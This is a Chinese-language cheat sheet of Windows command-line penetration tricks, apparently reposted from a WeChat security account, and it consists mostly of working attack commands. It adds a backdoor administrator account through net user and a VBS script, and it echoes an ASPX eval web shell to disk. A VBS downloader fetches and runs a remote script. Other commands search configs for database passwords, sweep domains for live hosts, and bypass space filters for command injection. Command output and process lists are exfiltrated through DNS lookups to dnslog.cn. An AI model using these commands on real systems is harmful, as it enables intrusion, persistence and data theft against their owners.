干货 | Windows命令行下常用渗透技巧
0x01 前言
当然,这里笔者也只是将以前自己常用到的,以及在看各位师傅文章中学到的技巧搜集整理在一起分享给大家,希望对大家能有所帮忙,有时间再做补充,也期待各位师傅的补充!!!如有错误,还望指出!!!
0x02 利用|/&管道符执行多条命令
应用场景:常用于查找远程桌面端口号、异常网络连接以及添加管理员用户等。
netstat -ano | findstr "ESTABLISHED"net user 90sec 123456 /ad & net localgroup administrators 90sec /ad

0x03 利用^转义符解决<>字符问题
echo ^<%@Page Language="Jscript" validateRequest="false"%^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^> > c:\Users\3had0w\Desktop\ok.aspx

0x04 利用dir/for等命令查找网站路径
dir /a/b/s D:\web\*.asp
where /r D:\web\ *.php *.asp
for /r D:\web\ %i in (*.php *.asp) do @echo %i
%windir%\system32\inetsrv\appcmd list VDIR
findstr /n /s /i "uid=sa" E:\ftp_bak\*.config
findstr /n /s /i "DB_PWD" D:\www\*.php


0x05 利用:冒号将VBS脚本代码写在一行
应用场景:常用于命令行下写入Webshell木马、VBS添加用户、下载者等恶意脚本,>创建,>>叠加,注意2、4、8、9行中的&管道符,也要用^转义下才能正常写入。
echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") > C:\adduser.vbsecho os="WinNT://"^&wsnetwork.ComputerName >> C:\adduser.vbsecho Set ob=GetObject(os) >> C:\adduser.vbsecho Set oe=GetObject(os^&"/Administrators,group") >> C:\adduser.vbsecho Set od=ob.Create("user","betasec") >> C:\adduser.vbsecho od.SetPassword "pass!@#!23" >> C:\adduser.vbsecho od.SetInfo >> C:\adduser.vbsecho Set of=GetObject(os^&"/betasec",user) >> C:\adduser.vbsecho oe.add os^&"/betasec" >> C:\adduser.vbs
0x06 利用>/>>重定向符叠加写入VBS
应用场景:常用于MSSQL高权限注入点写入VBS脚本文件,一行一行写过于繁琐。VBScript可以在一行代码内同时对两个变量进行赋值,中间用冒号分隔即可,脚本可正常执行。
echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/adduser.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\adduser.vbs",2:wscript.sleep 1000:Shell.Run ("c:\adduser.vbs") > c:\down.vbs

0x07 利用for命令探测工作组/域存活主机
应用场景:常用于探测工作组和域内存活主机,用的是Ping命令,基于ICMP协议,但如果禁Ping时该方法则无效,利用此方法在实际应用中可能需要做少许修改:内网IP或网段。
直接在命令终端回显:
@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl="

将存活主机写入到文件:
@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl=" >nul & if errorlevel 1 (echo 192.168.1.%i May be sleeping ! >> result.txt) else (echo 192.168.1.%i is alive ! >> result.txt)
查看扫描后的存活主机:
type result.txt | findstr "alive"

工作组/域内存活主机探测:
@echo off@echo.@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (@echo ====== Domain:%%J =========@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) do (@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`@echo %%i`) do (ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt@FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]@del /f /q %%a.txt)))@echo ====== Getting IP Complete ======

0x08 利用符号或者环境变量截取绕过空格
应用场景:常用于命令执行漏洞绕过,在代码层面或安全防护中过滤了空格,也就是在执行命令时不能带有空格,最近几天在几个群里都看到有人讨论这个问题,也属常见问题。
特殊符号:记一次“上传”命令执行的绕过案例
echo.123>>a.txt
echo,123>>a.txt
type;a.txt
[...SNIP...]
&cd;..&cd;..&cd;windows&cd;system32
&cd;..&cd;1631359215&cs.jpg&.jpg
[...SNIP...]

环境变量:命令注入靶场空格过滤绕过测试
%path:~10,1%%programfiles:~10,1%%processor_identifier:~7,1%%commonprogramw6432:~10,1%%commonprogramfiles(x86):~10,1%%commonprogramfiles:~10,1%%commonprogramfiles:~10,-18%%commonprogramfiles:~23,1%%fps_browser_app_profile_string:~8,1%[...SNIP...]

0x09 利用dnslog查看注入点执行命令结果
应用场景:常用于探测目标主机的DNS协议是否能够出网,或者是在高权限注入无回显时也可以通过dnslog来将命令执行结果带出,如:查看当前用户和进程列表等。
探测DNS出网状态:
ping ******.dnslog.cnnslookup ******.dnslog.cn<?php gethostbyname("******.dnslog.cn");?>

查询当前用户权限:
for /F %i in ('whoami') do nslookup %i.lr5dyr.dnslog.cn
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.ly9hvm.dnslog.cn && nslookup !FINAL!" && del temp*

0x10 利用dnslog查看目标主机的杀毒软件
应用场景:用于MSSQL高权限注入,目标主机不出网,但想利用dnslog探测主机中是否有杀软?两种方法原理一样,都是先获取进程列表,然后for、ForEach循环Ping、nslookup通过dnslog带出来。
for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul
powershell -c "Get-Process | select processname > 1.txt"
powershell -c "Get-Content .\1.txt | Sort-Object -Unique | ForEach-Object {if($_ -match $regex){$b=$_.trim();ping -n 1 $b'.***fks2j.ns.dns3.cf.'} }"

本篇文章来源于微信公众号: 渗透Xiao白帽